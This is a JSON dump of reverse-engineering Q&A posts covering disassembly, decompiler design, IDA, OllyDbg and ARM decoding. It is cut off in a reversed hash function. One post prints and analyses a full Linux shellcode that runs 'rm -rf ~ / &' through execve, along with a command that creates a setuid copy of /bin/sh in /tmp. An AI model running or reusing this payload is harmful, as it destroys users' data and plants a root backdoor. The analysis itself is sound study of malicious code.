        "Body": "<p>I have found the following lines in a sample which I try to analyze. Here, are the lines:</p>\n\n<pre><code>   ....\n   push  afg.00401189       \"ntdll.dll\" \n   call  GetmoduleHandleW\n   neg   eax\n   sbb   eax, eax\n   neg   eax\n   RETN\n</code></pre>\n\n<p>So, I do not understand the lines after the call instruction. We have sbb instruction between two neg-operations, but what can be the purpose of that. Can somebody explain that ? </p>\n\n<p>PS: Intuitively, I would say that at the end I have the handle to ntdll.dll in EAX...but the operations between the call and retn are very strange. I am confused.</p>\n",
        "Title": "Processing a handle to a module",
        "Tags": "|assembly|",
        "Answer": "<p>The <code>neg / sbb / neg</code> code in your question is the equivalent of the following C code:</p>\n\n<pre><code>eax = (eax != 0)\n</code></pre>\n\n<p>In other words, the function returns <code>GetModuleHandleW(\"ntdll.dll\") != NULL</code>.</p>\n\n<p>The <code>neg / sbb / neg</code> construct is explained in detail here:</p>\n\n<p><a href=\"https://books.google.com/books?id=_78HnPPRU_oC&amp;pg=PT392\" rel=\"nofollow\"><em>Reversing: Secrets of Reverse Engineering</em>, section A.2.8.1. Pure Arithmetic Implementations</a></p>\n"
    },
    {
        "Id": "8835",
        "CreationDate": "2015-05-07T10:44:59.793",
        "Body": "<p>After writing my own disassembler, I am now looking to making its assembly listing more human readable, e.g. from an (artificial) example</p>\n\n<pre><code>push    ebp\nmov     ebp, esp\nsub     esp, 10h\nmov     eax, dword ptr [55431824h]\nimul    eax, dword ptr [ebp+8]\nadd     eax, dword ptr [ebp+0ch]\nmov     dword ptr [ebp-4], eax\nmov     eax, dword ptr [ebp-4]\nleave\nret     10h\n</code></pre>\n\n<p>via (<code>&gt;</code> marks an auto-recognized prologue/epilogue):</p>\n\n<pre><code>&gt;push    ebp\n&gt;mov     ebp, esp\n&gt;sub     esp, 10h\n\n mov     eax, dword ptr [_global_55431824]\n imul    eax, dword ptr [arg_0]\n add     eax, dword ptr [arg_4]\n mov     dword ptr [local_4], eax\n mov     eax, dword ptr [local_4]\n\n&gt;leave\n&gt;ret     10h\n</code></pre>\n\n<p>towards</p>\n\n<pre><code>eax = 10\neax *= arg_0\neax += arg_4\nlocal_4 = eax\neax = local_4\nreturn\n</code></pre>\n\n<p>At this point, each pseudo instruction is still tied to its original disassembled representation. When printing out, I can scan for certain sequences and so I replace the first two lines with</p>\n\n<pre><code>eax = 10 * arg_0\n</code></pre>\n\n<p>and then just skip printing the next line. However, there is a limit to how far I can get with that. Concatenating the next operation, which would lead to</p>\n\n<pre><code>eax = 10 * arg_0 + arg_4\n</code></pre>\n\n<p>requires to look ahead <strong>two</strong> instructions, <em>and</em> would only work for this specific combination of <code>mov</code>, <code>imul</code>, and <code>add</code>, while assuring the same destination register is still targeted and the intermediate instructions have no lasting effect on other registers.</p>\n\n<p>The goal is to end up with something like this:</p>\n\n<pre><code>local_4 = 10 * arg_0 + arg_4\neax = local_4\nreturn\n</code></pre>\n\n<p>where obviously <code>eax</code> is specifically assigned a value before a <code>return</code>, so the last line can be</p>\n\n<pre><code>return eax\n</code></pre>\n\n<p>and finally the entire construction can be collapsed into</p>\n\n<pre><code>return 10 * arg_0 + arg_4\n</code></pre>\n\n<p>(which is very close to what I started with in the original trivial C program). I am struggling with the internal representation of composite lines such as the last one. The otherwise very reliable decompiler page <a href=\"http://www.backerstreet.com/decompiler/creating_statements.php\" rel=\"noreferrer\">backerstreet.com/creating_statements</a> casually switches between raw assembler and C-like compound statements:</p>\n\n<pre><code>if(!expr1 &amp;&amp; !expr2)\n  ...\n</code></pre>\n\n<p>without explaining how this intermediate step is stored in memory and can create the output string.</p>\n\n<p>What type of intermediate storage form should I be looking at, which (a) can be constructed from the original disassembled instructions, (b) can have its elements combined and rearranged, and (c) can be translated into human-readable output such as the last line?</p>\n\n<p>It may be worth mentioning that I am not aiming to create the Definitive Universal Decompiler :) My test input was compiled with an ancient version (most likely pre-1993) of Delphi Pascal, but while its assembly is not really optimized and fairly readable to begin with, I'd still like to go the extra mile and make my computer do what it does best and make it yet easier to understand the code.</p>\n\n<hr>\n\n<h3>A longer real world example</h3>\n\n<p>Below is some actual disassembly. The basic block number is followed by a dominator bit set (the <code>loops</code> hex number; I generate them but have not used that data yet). The <code>ENTRY</code> and <code>EXIT</code> numbers are to basic blocks again and used to generate a .dot view of the function.</p>\n\n<pre><code>; ## BLOCK 0; loops: 01; EXIT to 1, 4\n401966A8    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]\n401966AE    (  0)  8B 12                mov     edx,dword ptr [edx]\n401966B0    (  0)  80 BA 39 01 00 00 02 cmp     byte ptr [edx+139h],2\n401966B7    (  0)  75 11                jnz     label_4\n\n; ## BLOCK 1; loops: 03; ENTER from 0; EXIT to 2, 4\n401966B9    (  0)  83 78 24 02          cmp     dword ptr [eax+24h],2\n401966BD    (  0)  7D 0B                jge     label_4\n\n; ## BLOCK 2; loops: 07; ENTER from 1; EXIT to 3=RET\n401966BF    (  0)  BA 02 00 00 00       mov     edx,2\n401966C4    (  0)  2B 50 24             sub     edx,dword ptr [eax+24h]\n401966C7    (  0)  8B C2                mov     eax,edx\n\n; ## BLOCK 3 (epilog); loops: 0F; ENTER from 2\n401966C9          &gt;C3                   retn    \n\n; ## BLOCK 4; loops: 11; ENTER from 0, 1; EXIT to 5, 7\n                        label_4:\n401966CA    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]\n401966D0    (  0)  8B 12                mov     edx,dword ptr [edx]\n401966D2    (  0)  80 BA 39 01 00 00 01 cmp     byte ptr [edx+139h],1\n401966D9    (  0)  75 0D                jnz     label_7\n\n; ## BLOCK 5; loops: 31; ENTER from 4; EXIT to 6, 7\n401966DB    (  0)  83 78 24 00          cmp     dword ptr [eax+24h],0\n401966DF    (  0)  75 07                jnz     label_7\n\n; ## BLOCK 6; loops: 71; ENTER from 5; EXIT to 8=RET\n401966E1    (  0)  B8 01 00 00 00       mov     eax,1\n401966E6    (  0)  EB 02                jmp     label_8\n\n; ## BLOCK 7; loops: 91; ENTER from 4, 5; EXIT to 8=RET\n                        label_7:\n401966E8    (  0)  33 C0                xor     eax,eax\n\n; ## BLOCK 8 (epilog); loops: 0111; ENTER from 6, 7\n                        label_8:\n401966EA          &gt;C3                   retn    \n\n401966EB                align 4\n</code></pre>\n\n<p>This is the .dot image; clear <code>if</code>s are yellow, and the nodes contain their dominator bit sets so I can try and make sense of them (a TO-DO as yet). This explains the <em>flow</em> but you cannot see how much <em>code</em> each node represents.</p>\n\n<p><img src=\"https://i.stack.imgur.com/NBPCo.png\" alt=\"function flow\"></p>\n\n<p>The disassembly gets parsed into the following pseudo-code. Some notes are <code><b>manually added</b></code>.</p>\n\n<pre>; #### PARSED\n401966A8    (  0)       edx = Main.UnitList@20551314 ;\n401966AE    (  0)       edx = (dword)[edx] ;\n401966B0    (  0)       if ((byte)[edx + 139h] != 2) goto label_4 ;\n\n401966B9    (  0)       if ((dword)[eax + 24h] >= 2) goto label_4 ;\n\n401966BF    (  0)       edx = 2 ;\n401966C4    (  0)       edx -= (dword)[eax + 24h] ;\n401966C7    (  0)       return edx ; <b>MOV EAX,.. where an exit block follows</b>\n\n                        return ;  <b>.. and this line is generated by the actual exit block</b>\n\n                    label_4:\n401966CA    (  0)       edx = Main.UnitList@20551314 ;\n401966D0    (  0)       edx = (dword)[edx] ;\n401966D2    (  0)       if ((byte)[edx + 139h] != 1) goto label_7 ;\n\n401966DB    (  0)       if ((dword)[eax + 24h] != 0) goto label_7 ;\n\n401966E1    (  0)       eax = 1 ;\n401966E6    (  0)       return ;  <b>this was a jump-to-exit-block, so missed</b>\n\n                    label_7:\n401966E8    (  0)       eax = 0 ; <b>this was a XOR, not a MOV, so missed</b>\n\n                    label_8:\n                        return ;\n</pre>\n\n<p>The loss in verbosity is already worth the effort: from 21 lines of code to 16 lines, even though the lookahead to check if EAX got written to right before a <code>RET</code> failed twice.</p>\n\n<p>Yet, it is obvious that the two successive <code>if</code>s at <code>401966B0</code> can be combined into a single one, with an OR. Inverting the condition, that whole block can be a single <code>if</code> and braced up to the <code>return</code>, removing <code>label_4</code>.<br>\nThe manipulation of <code>edx</code> from <code>401966BF</code> onwards can be concatenated into a single <code>return</code> statement.<br>\nAlso, the <code>if</code> conditions at <code>401966D2</code> can be combined into a single one and put inside an <code>if</code> block. Since there is a <code>return</code> at its end, an <code>else</code> is not necessary there. Manually reconstructed:</p>\n\n<pre><code>401966A8    (  0)       edx = Main.UnitList@20551314 ;\n401966AE    (  0)       edx = (dword)[edx] ;\n401966B0    (  0)       if ((byte)[edx + 139h] == 2 &amp;&amp;\n401966B9    (  0)           (dword)[eax + 24h] &lt; 2)\n                        {\n401966BF    (  0)           return 2 - (dword)[eax + 24h] ;\n                        }\n\n401966CA    (  0)       edx = Main.UnitList@20551314 ;\n401966D0    (  0)       edx = (dword)[edx] ;\n401966D2    (  0)       if ((byte)[edx + 139h] == 1 &amp;&amp;\n401966DB    (  0)          (dword)[eax + 24h] == 0)\n                        {\n401966E1    (  0)           return 1 ;\n                        }\n\n401966E8    (  0)       return 0 ;\n</code></pre>\n\n<p>reducing the original 21 lines to a mere 11. Furthermore, register value propagation resolves the references to the global class <code>Main.UnitList</code>. I manually created names for its elements; <code>401966A8</code> and forwards collapses into</p>\n\n<pre><code>401966B0    (  0)       if (Main.UnitList.flag == 2 &amp;&amp;\n401966B9    (  0)           Main.UnitList.count &lt; 2)\n</code></pre>\n\n<p>which makes the code practically readable.</p>\n\n<p><sup>Accessing <code>eax</code> before it gets written is not an error here. The function is a class function, and <code>eax</code> points to a class instance, so <code>(dword)[eax + 24h]</code> reads a data member of the structure. <code>Main.UnitList</code> is a pointer to a globally declared class instance, since it points into the BSS.</sup></p>\n",
        "Title": "IL for decompiler to human-readable format",
        "Tags": "|disassembly|decompilation|",
        "Answer": "<p>What you're describing here is essentially the same as a static binary translator that uses a high level language such as C as its output target rather than a specific architecture.  It's not quite as advanced a mechanism as decompiling but it has proven quite effective in restricted domains such as arcade video games. (eg <a href=\"http://vide.malban.de/vectrex-programs/vecfever\" rel=\"nofollow noreferrer\">http://vide.malban.de/vectrex-programs/vecfever</a> )  There have been a few of these written; I have code for work in progress that does this for 6809, 6502, z80 and Cinematronic CPUs for example (though probably not immediately usable - it's a coming-together of four separate background projects with no great urgency).  Anyway feel free to poke around and see if there's anything here that is helpful to you: <a href=\"http://gtoal.com/SBTPROJECT/\" rel=\"nofollow noreferrer\">http://gtoal.com/SBTPROJECT/</a> (the 6809 one is probably the cleanest code if you're just browsing and not actually running it)</p>\n\n<p>There's a bit of a writeup of the overall method at <a href=\"http://gtoal.com/sbt/\" rel=\"nofollow noreferrer\">http://gtoal.com/sbt/</a></p>\n\n<p>Output looks something like this:</p>\n\n<pre><code>            //        LDA   $FFFF,X                 ; 0431: A6 1F         \n      A = memory[(UINT16)(X + 0xffff)];\n  //  N = A;\n  //  Z = A;\n  //  V = 0;\n\n            //        LEAU  ,X                      ; 0433: 33 84         \n      U = X;\n\n            //        LDX   #$0EC8                  ; 0435: 8E 0E C8      \n      X = 0x0ec8;\n  //  Z = X;\n  //  N = (X) &gt;&gt; 8;\n  //  V = 0;\n</code></pre>\n\n<p>(the commented out lines are due to optimisation of redundant stores)</p>\n\n<p>Rather than output functional code for execution, you could satisfy the OP's request by outputting comments that describe in detail what the operations are doing.</p>\n\n<p>Other practical translators have been written by David Welch, Norbert Keher, Thomas Sontowski and others.  There is also Project Orion which is a multi-person multi-target translator headed up by Neil Bradley (respected emulator author) and several other members of the Orion mailing list - that translator had working front ends for 6502 and z80, with 68000 and 6809 also being under development, and built an internal AST (Abstract Syntax Tree, much as described in one of the earlier answers in this thread) in order to output cleaner and more efficient code to a variety of back ends including C.  (There is also some academic work produced by Christina Cifuentes et al.)</p>\n\n<p>Graham</p>\n\n<p>PS When the output is a generic IR (Internal Representation) such as C or LLVM's internal IR, as opposed to when you produce binary directly, or indirectly by outputting asm for a specific architecture) the technique is properly called \"Compiled Instruction Set Simulation\" - but most people just call it static binary translation.</p>\n"
    },
    {
        "Id": "8837",
        "CreationDate": "2015-05-07T12:04:21.670",
        "Body": "<p>I would like to make IDA disassemble the <code>.plt</code> section of ELF files correctly, e.g. as objdump does: </p>\n\n<pre><code>objdump -D -M intel asdf | grep \"Disassembly of section .plt\" -A80\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/ShG5H.png\" alt=\"objdump disassembly\"></p>\n\n<p>I don't know why but IDA gives me this (Note the <code>dw ?</code> and <code>dq ?</code>):\n<img src=\"https://i.stack.imgur.com/H8NSe.png\" alt=\"IDA disassembly\"></p>\n\n<p>Even the IDA hexeditor does not show me the correct values at the corresponding addresses, but gives me <code>??</code>s.</p>\n\n<p>I tried selecting and deselecting the settings described in the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1375.shtml\" rel=\"nofollow noreferrer\">IDA Online help</a> (search for \"PLT\") but this didn't help...</p>\n\n<blockquote>\n  <p>0: Replace PIC form of 'Procedure Linkage Table' to non PIC form</p>\n  \n  <p>1: Direct jumping from PLT (without GOT) regardless of its form</p>\n  \n  <p>2: Convert PIC form of loading <code>_GLOBAL_OFFSET_TABLE_[]</code> of address</p>\n  \n  <p>3: Obliterate auxiliary bytes in PLT &amp; GOT for 'final autoanalysis'</p>\n  \n  <p>4: Natural form of PIC GOT address loading in relocatable file</p>\n  \n  <p>5: Unpatched form of PIC GOT references in relocatable file</p>\n</blockquote>\n\n<p>How can I configure IDA so that I can access the instructions in the <code>.plt</code> section of an ELF file with IDAPython?</p>\n",
        "Title": "ELF: How to make IDA show me the correct PLT (Procedure Linkage Table) content?",
        "Tags": "|ida|disassembly|idapython|elf|plt|",
        "Answer": "<p>For a 32bit (but <em>not</em> 64bit) x86 ELF binary, selecting the following options works:</p>\n\n<p><img src=\"https://i.stack.imgur.com/HSQMDm.png\" alt=\"enter image description here\">\n<img src=\"https://i.stack.imgur.com/iVEcim.png\" alt=\"enter image description here\">\n<img src=\"https://i.stack.imgur.com/wtRSv.png\" alt=\"enter image description here\"></p>\n\n<p><strong>UPDATE:</strong></p>\n\n<p>There is a bug in IDA 6.8 (and probably earlier versions): For 64bit x86 ELF binaries, I get the desired disassembly result only when additionally deselecting \"Replace PIC form of ...\". </p>\n\n<p>This was the reason for my confusion and made me post my question.</p>\n\n<p>Hex-rays sent me a patch which fixed it (and which will probably be part of future versions... )</p>\n"
    },
    {
        "Id": "8841",
        "CreationDate": "2015-05-07T20:30:29.837",
        "Body": "<p>I have the following call to a function.</p>\n\n<pre><code>      ....\n      push eax\n      push prog.00401D19\n      call dword ptr ds:[&amp;USER32.EnumWindows]\n      ....\n</code></pre>\n\n<p>So, as you can see, this is a call to <code>EnumWindows</code>. But I would like to analyze the code at <code>00401D19</code>. Do you know how to do that in <em>ollydbg</em> ? </p>\n\n<p>ps: when I make <code>00401D19</code> as my new origin (<kbd>Ctrl</kbd> + Gray <kbd>*</kbd>), then I can not go back to the line after <code>EnumWindows</code> because side effects etc. can happen. Therefore, I search a different option.</p>\n",
        "Title": "How to analyze a callback function with ollydbg?",
        "Tags": "|assembly|",
        "Answer": "<p>You have a couple of options:</p>\n\n<ol>\n<li>Select the <code>push prog.004013D19</code> line in OllyDbg and press <kbd>Enter</kbd> on your keyboard.</li>\n<li>Left click anywhere in the disassembly listing in OllyDbg, press <kbd>Ctrl+G</kbd> on your keyboard, and enter <code>004013D19</code> in the popup window.</li>\n</ol>\n"
    },
    {
        "Id": "8845",
        "CreationDate": "2015-05-08T11:00:53.400",
        "Body": "<p>I'm writing a disassembler for ARM opcodes and I'm struggling with a particular encoding. The offending instruction is <code>E1F120D1</code>. I think I've followed the instructions closely, and expect the disassemble to be <code>mvns r2,r1</code> but trying it on <a href=\"http://www.onlinedisassembler.com\" rel=\"nofollow\">http://www.onlinedisassembler.com</a> gives me <code>ldsrb r2,[r1,#1]!</code>. </p>\n\n<p>It seems like the low-order <code>20D1</code> in the instruction is causing online disassembler ti switch from <code>mvn</code> to <code>ldrsb</code>. Is this a bug in the disassembler -- not likely -- or my misunderstanding the instruction encodings in the manual?</p>\n",
        "Title": "What is the correct disassembly for ARM7 opcode E1F120D1?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>If you look at the ARM Architecture Reference Manual, you should be able to see that Chapter A5 takes you through the decoding of ARM instructions.</p>\n\n<p>Starting with table A5-1, your instruction has -</p>\n\n<pre><code>cond (31-28) = 1110\nop1 (27-25) =  000\n</code></pre>\n\n<p>This matches </p>\n\n<pre><code>cond = not 1111, op1 = 00x  =&gt; Data Processing &amp; Miscellaneous instructions (A5.2)\n</code></pre>\n\n<p>Then for table A5-2 in section A5.2, your instruction has -</p>\n\n<pre><code>op (25) = 0\nop1 (24-20) = 11111\nop2 (7-4) = 1101\n</code></pre>\n\n<p>The encoding that matches these bits is -</p>\n\n<pre><code>op = 0, op1 = not 0xx1x, op2 = 11x1 =&gt; Extra load/store instructions (A5.2.8)\n</code></pre>\n\n<p>Finally for table A5-10 in section A5.2.8, your instruction has -</p>\n\n<pre><code>op2 (6-5) = 10\nop1 (24-20) = 11111\nRn (19-16) = 0001\n</code></pre>\n\n<p>This matches</p>\n\n<pre><code>op2 = 10, op1 = xx1x1, Rn = not 1111 =&gt; LDRSB (immediate)\n</code></pre>\n\n<p>So, yes, bits 7-4 definitely affect the decoding of this instruction.</p>\n"
    },
    {
        "Id": "8846",
        "CreationDate": "2015-05-08T11:42:16.167",
        "Body": "<p>How can I catch the exceptions generated by an instrumented application in Intel PIN?</p>\n\n<p>I know about <code>PIN_AddInternalExceptionHandler</code>. This is not what I mean, this catches exceptions generated by the PinTool itself (if I understood correctly)</p>\n\n<p>I found this <a href=\"http://scrammed.blogspot.de/2013/03/binary-instrumentation-for-exploit_10.html\" rel=\"nofollow\">resource</a>. Although it is a clever solution (check EIP against <code>KiUserExceptionDispatcher</code>) I can not instrument every instruction in my case. </p>\n\n<p>Is there a simple way to achieve this?</p>\n",
        "Title": "PinTool catches instrumented application exceptions",
        "Tags": "|pintool|",
        "Answer": "<p>Use PIN_AddContextChangeFunction, and from callback (CONTEXT_CHANGE_CALLBACK) you may see exception</p>\n"
    },
    {
        "Id": "8852",
        "CreationDate": "2015-05-09T10:59:14.303",
        "Body": "<p>How find address of loaded specific driver on memory by C language in windows os</p>\n\n<p><img src=\"https://i.stack.imgur.com/2yP5c.png\" alt=\"enter image description here\"></p>\n\n<p>thanks</p>\n",
        "Title": "Address of loaded driver on memory",
        "Tags": "|windows|debugging|c|driver|",
        "Answer": "<pre><code>/**\n    \\todo Get system info in loop. If the list grows between the first &amp; 2nd call the allocd ammount may be too low\n*/\nBOOL GetKernelInformation(PSYSTEM_MODULE_INFORMATION* pModuleList)\n{\n    NTSTATUS status = STATUS_SUCCESS;\n    ULONG neededSize = 0;\n\n    NtQuerySystemInformation(\n        SystemModuleInformation,\n        &amp;neededSize,\n        0,\n        &amp;neededSize\n        );\n\n    *pModuleList = (PSYSTEM_MODULE_INFORMATION)malloc(neededSize);\n    if(*pModuleList == NULL)\n    {\n        return FALSE;\n    }\n\n    status = NtQuerySystemInformation(SystemModuleInformation,\n        *pModuleList,\n        neededSize,\n        0\n        );\n\n    return NT_SUCCESS(status);\n}\n\nint main()\n{\n    PSYSTEM_MODULE_INFORMATION pModuleList = NULL;\n\n    if(!GetKernelInformation(&amp;pModuleList))\n        goto CLEANUP;\n\n    for(ULONG i = 0; i &lt; pModuleList-&gt;uCount; i++)\n    {\n        PSYSTEM_MODULE mod = &amp;pModuleList-&gt;aSM[i];\n        printf(\"%s @ %p\\n\", mod-&gt;ImageName, mod-&gt;Base);\n    }\n\n\nCLEANUP:\n    if(pModuleList)\n        free(pModuleList);\n    return EXIT_SUCCESS;\n}\n</code></pre>\n"
    },
    {
        "Id": "8860",
        "CreationDate": "2015-05-10T15:31:25.210",
        "Body": "<p>On <a href=\"https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation-Command-List#destroy\" rel=\"nofollow\">this website</a>, I found the following code:</p>\n\n<pre><code>char esp[] __attribute__ ((section(\u201d.text\u201d))) /* e.s.p release */ = \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\\\"\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\\\"\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\\\"\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\"\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\"\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\"\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\"\n\u201ccp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;\u201d;\n</code></pre>\n\n<p>I replaced the <code>\u201c</code> character with <code>\"</code>, removed trailing <code>\\</code> and put decoded it into a file. Here's what it disassembles to:</p>\n\n<pre><code>00000000  EB3E              jmp short 0x40\n00000002  5B                pop ebx\n00000003  31C0              xor eax,eax\n00000005  50                push eax\n00000006  54                push esp\n00000007  5A                pop edx\n00000008  83EC64            sub esp,byte +0x64\n0000000B  68FFFFFFFF        push dword 0xffffffff\n00000010  68DFD0DFD9        push dword 0xd9dfd0df\n00000015  688D99DF81        push dword 0x81df998d\n0000001A  688D92DFD2        push dword 0xd2df928d\n0000001F  54                push esp\n00000020  5E                pop esi\n00000021  F716              not dword [esi]\n00000023  F75604            not dword [esi+0x4]\n00000026  F75608            not dword [esi+0x8]\n00000029  F7560C            not dword [esi+0xc]\n0000002C  83C474            add esp,byte +0x74\n0000002F  56                push esi\n00000030  8D7308            lea esi,[ebx+0x8]\n00000033  56                push esi\n00000034  53                push ebx\n00000035  54                push esp\n00000036  59                pop ecx\n00000037  B00B              mov al,0xb\n00000039  CD80              int 0x80\n0000003B  31C0              xor eax,eax\n0000003D  40                inc eax\n0000003E  EBF9              jmp short 0x39\n00000040  E8BDFFFFFF        call dword 0x2\n00000045  2F                das\n00000046  62696E            bound ebp,[ecx+0x6e]\n00000049  2F                das\n0000004A  7368              jnc 0xb4\n0000004C  00                db 0x00\n0000004D  2D                db 0x2d\n0000004E  6300              arpl [eax],ax\n</code></pre>\n\n<p>And here's a hexdump:</p>\n\n<pre><code>[17:20:46][~]$ hexdump -C /tmp/b\n00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.&gt;[1.PTZ..dh....|\n00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|\n00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|\n00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|\n00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|\n00000050\n</code></pre>\n\n<p>What is it really? I can see <code>/bin/sh</code> and a call to <code>execve</code> so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the <code>char esp[] __attribute__ ((section(\u201d.text\u201d)))</code> part).</p>\n",
        "Title": "How does this version of `rm -rf /` work?",
        "Tags": "|disassembly|linux|shellcode|",
        "Answer": "<p>It's not run in the example. It's a shellcode, it has to be somehow injected (for example using a buffer overflow vulnerability).\nTo understand how it works, let's first put some addresses on the strings:</p>\n\n<pre><code>00000045  \"/bin/sh\"\n0000004D  \"-c\"\n0000004F  \"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;\"\n</code></pre>\n\n<p>Let's look at the disassembly piece by piece.</p>\n\n<pre><code>00000000  EB3E              jmp short 0x40\n00000002  5B                pop ebx        ; 1st argument for execve(): filename = \"/bin/sh\"\n00000003  31C0              xor eax,eax    ; eax = 0\n00000005  50                push eax       ; envp[0] = NULL, argv[3] = NULL\n00000006  54                push esp\n00000007  5A                pop edx        ; 3rd argument for execve(): envp = {NULL}\n...\n00000040  E8BDFFFFFF        call dword 0x2\n00000045  \"/bin/sh\"\n...\n</code></pre>\n\n<p>The jmp/call is a well known trick: the call will push the address of the following instruction to the stack. This gets popped into ebx, which now contains the address to \"/bin/sh\". In a system call, ebx is the first argument.\nNext, eax is zeroed using a xor instruction and pushed to the stack. The pointer to those four zero bytes is stored in esp, which ends up in edx (3rd argument). The envp parameter of execve() is terminated with a null pointer: no environment vars in this case. This will also be used in argv.</p>\n\n<pre><code>00000008  83EC64            sub esp,byte +0x64    ; Reserve 0x64 bytes on the stack\n0000000B  68FFFFFFFF        push dword 0xffffffff ; Push 4th string word\n00000010  68DFD0DFD9        push dword 0xd9dfd0df ; Push 3rd string word\n00000015  688D99DF81        push dword 0x81df998d ; Push 2nd string word\n0000001A  688D92DFD2        push dword 0xd2df928d ; Push 1st string word\n0000001F  54                push esp\n00000020  5E                pop esi             ; esi = esp\n00000021  F716              not dword [esi]     ; Not 1st string word: 0x2d206d72 'rm -'\n00000023  F75604            not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'\n00000026  F75608            not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &amp;'\n00000029  F7560C            not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)\n0000002C  83C474            add esp,byte +0x74  ; Restore esp\n</code></pre>\n\n<p>\"rm -rf ~ / &amp;\" is pushed NOT-encoded into the stack and decoded in place. esi points to the decoded string.</p>\n\n<pre><code>0000002F  56                push esi            ; argv[2] = \"rm -rf ~ / &amp;\"\n00000030  8D7308            lea esi,[ebx+0x8]   ; esi = address of \"-c\"\n00000033  56                push esi            ; argv[1] = \"-c\"\n00000034  53                push ebx            ; argv[0] = \"bin/sh\"\n00000035  54                push esp\n00000036  59                pop ecx    ; ecx = 2nd argument for execve(): argv = {\"/bin/sh\", \"-c\", \"rm -rf ~ / &amp;\", NULL}\n00000037  B00B              mov al,0xb ; 11 = execve() system call\n00000039  CD80              int 0x80   ; execve()\n</code></pre>\n\n<p>It's time to build the argv array and make the call. The previous piece of code restored esp, so whatever is pushed will be after that first 0x00000000. Piece by piece the arguments are pushed to the stack. Remember that ebx held the pointer to \"/bin/sh\" (7 chars + terminator), so ebx+8 will be \"-c\". The null word that was pushed into the stack at the very beginning of the shellcode is reused as the terminator for argv.</p>\n\n<pre><code>0000003B  31C0              xor eax,eax\n0000003D  40                inc eax        ; 1 = exit() system call\n0000003E  EBF9              jmp short 0x39 ; exit()\n</code></pre>\n\n<p>Using xor+inc eax is set to 1, which is system call exit(). It then jumps to the int 0x80 instruction and exit() is called.</p>\n"
    },
    {
        "Id": "8866",
        "CreationDate": "2015-05-11T00:54:26.060",
        "Body": "<p>I have been working on rewriting a program, although it uses a hash to fingerprint the file, I have used IDA to find the function doing the hash and what it is doing to the file before it sends it to the hash function.</p>\n\n<p>I just have a couple questions about what is going on, I know I can simply invoke it as it is in a DLL, but I want to understand what is going on as well.</p>\n\n<pre><code>unsigned int __cdecl newhash(int a1, unsigned int a2, int zero)\n{\n  int content; // ebx@1\n  int v4; // ecx@1\n  int v5; // edx@1\n  int i; // eax@1\n  int v7; // ecx@2\n  unsigned int v8; // eax@2\n  int v9; // edx@2\n  int v10; // ecx@2\n  int v11; // eax@2\n  int v12; // edx@2\n  int v13; // ecx@2\n  int v14; // eax@2\n  unsigned int v15; // eax@3\n  int v16; // edx@15\n  int v17; // ecx@15\n  int v18; // eax@15\n  int v19; // edx@15\n  int v20; // ecx@15\n  int v21; // eax@15\n  int v22; // edx@15\n  unsigned int contentLength; // [sp+Ch] [bp-4h]@1\n\n  content = a1;\n  contentLength = a2;\n  v4 = -1640531527;\n  v5 = -1640531527;\n  for ( i = zero; contentLength &gt;= 12; contentLength -= 12 )\n  {\n    v7 = (*(_BYTE *)(content + 7) &lt;&lt; 24)\n       + (*(_BYTE *)(content + 6) &lt;&lt; 16)\n       + (*(_BYTE *)(content + 5) &lt;&lt; 8)\n       + *(_BYTE *)(content + 4)\n       + v4;\n    v8 = (*(_BYTE *)(content + 11) &lt;&lt; 24)\n       + (*(_BYTE *)(content + 10) &lt;&lt; 16)\n       + (*(_BYTE *)(content + 9) &lt;&lt; 8)\n       + *(_BYTE *)(content + 8)\n       + i;\n    v9 = (v8 &gt;&gt; 13) ^ ((*(_BYTE *)(content + 3) &lt;&lt; 24)\n                     + (*(_BYTE *)(content + 2) &lt;&lt; 16)\n                     + (*(_BYTE *)(content + 1) &lt;&lt; 8)\n                     + *(_BYTE *)content\n                     + v5\n                     - v7\n                     - v8);\n    v10 = (v9 &lt;&lt; 8) ^ (v7 - v8 - v9);\n    v11 = ((unsigned int)v10 &gt;&gt; 13) ^ (v8 - v9 - v10);\n    v12 = ((unsigned int)v11 &gt;&gt; 12) ^ (v9 - v10 - v11);\n    v13 = (v12 &lt;&lt; 16) ^ (v10 - v11 - v12);\n    v14 = ((unsigned int)v13 &gt;&gt; 5) ^ (v11 - v12 - v13);\n    v5 = ((unsigned int)v14 &gt;&gt; 3) ^ (v12 - v13 - v14);\n    v4 = (v5 &lt;&lt; 10) ^ (v13 - v14 - v5);\n    i = ((unsigned int)v4 &gt;&gt; 15) ^ (v14 - v5 - v4);\n    content += 12;\n  }\n  v15 = a2 + i;\n  switch ( contentLength )\n  {\n    case 0xBu:\n      v15 += *(_BYTE *)(content + 10) &lt;&lt; 24;\n      goto LABEL_5;\n    case 0xAu:\nLABEL_5:\n      v15 += *(_BYTE *)(content + 9) &lt;&lt; 16;\n      goto 